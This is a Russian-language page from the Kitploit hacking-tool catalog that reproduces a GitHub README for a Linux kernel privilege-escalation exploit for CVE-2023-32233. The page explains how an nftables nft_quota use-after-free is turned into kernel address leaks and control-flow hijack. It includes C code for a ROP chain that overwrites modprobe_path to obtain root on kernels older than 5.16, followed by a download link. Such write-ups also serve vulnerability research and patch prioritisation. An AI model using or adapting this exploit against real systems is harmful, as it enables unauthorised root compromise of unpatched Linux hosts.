Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-32233 — Эксплойт для повышения привилегий в ядре Linux для CVE-2023-32233, использующий nft_quota UAF, ROP-цепочку и перезапись modprobe_path для получения root на ядрах <5.16. | Kitploit
Инструменты/GitHubGitHub/void0red/cve-2023-32233
Повышение привилегийАнализ уязвимостейЭксплуатацияШелл-кодРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubvoid0red/cve-2023-32233

CVE-2023-32233

Эксплойт для повышения привилегий в ядре Linux для CVE-2023-32233, использующий nft_quota UAF, ROP-цепочку и перезапись modprobe_path для получения root на ядрах <5.16.

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Адаптация для ядра 5.x CVE-2023-32233

Существующий эксплоит

  1. https://github.com/Liuk3r/CVE-2023-32233/tree/main
  2. https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation

Причина

В ядрах младшей версии (<5.16) отсутствует патч, из-за чего невозможно использовать поле consumed структуры nft_quota для записи и чтения адресов памяти. Рассматривается применение метода ROP для повышения привилегий. В эксплоите от Google используется метод NFT_MSG_DELRULE+NFT_MSG_DELSET для запуска UAF, однако в ходе практического тестирования было обнаружено, что этот скрипт вызывает аварийное завершение непосредственно в nf_table_commit->list_del_rcu.

Метод

Данный эксплоит протестирован на версии v5.15.110

Комбинируя два эксплоита, выполняется распыление структуры nft_rule. Через list_head утекает адрес стека ядра, через nft_expr->ops утекает адрес ядра, через nft_expr->ops->deactivate захватывается поток управления.

root@kitploit:~
struct nft_rule {
	struct list_head		list;
	u64				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};


static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
				     struct nft_rule *rule,
				     enum nft_trans_phase phase)
{
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->deactivate)
			expr->ops->deactivate(ctx, expr, phase);        // [7]

		expr = nft_expr_next(expr);
	}
}

Для удобства повышения привилегий напрямую используется метод на основе modprobe_path из эксплоита 1, ROP собирается следующим образом:

root@kitploit:~
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
    data[0] = kbase + POP_5REG_RET; // пропустить метаданные
    data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
    // /tmp/mod -  sbin/mod
    // 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
    data[6] = kbase + POP_RAX_RET;
    data[7] = kbase + cfg_modprobe_path+1; // [rax]
    data[8] = kbase + POP_RDI_RET;
    data[9] = 0x20411bc; // rdi
    data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}

Сначала ядро переходит к data[5], в rax хранится адрес начала блока (&data[0]). С помощью push rax; pop rsp; ret; выполняется переключение стека, что неизбежно разрушает стек (впоследствии невозможно нормально вернуться в пользовательское пространство; если требуется повышение привилегий из пользовательского пространства, можно сконструировать блок большего размера (>0x80), см. make_payload_rop2 в эксплоите, используя swapgs_restore_regs_and_return_to_usermode для обхода kpti и возврата в пользовательское пространство). Поскольку поддельный nft_rule содержит 0x18 байт метаданных (в основном 8 байт по смещению 0x10), необходимо пропустить эти адреса с помощью pop. Далее можно действовать произвольно, используя короткие gadget для изменения modprobe_path.

Скачать инструмент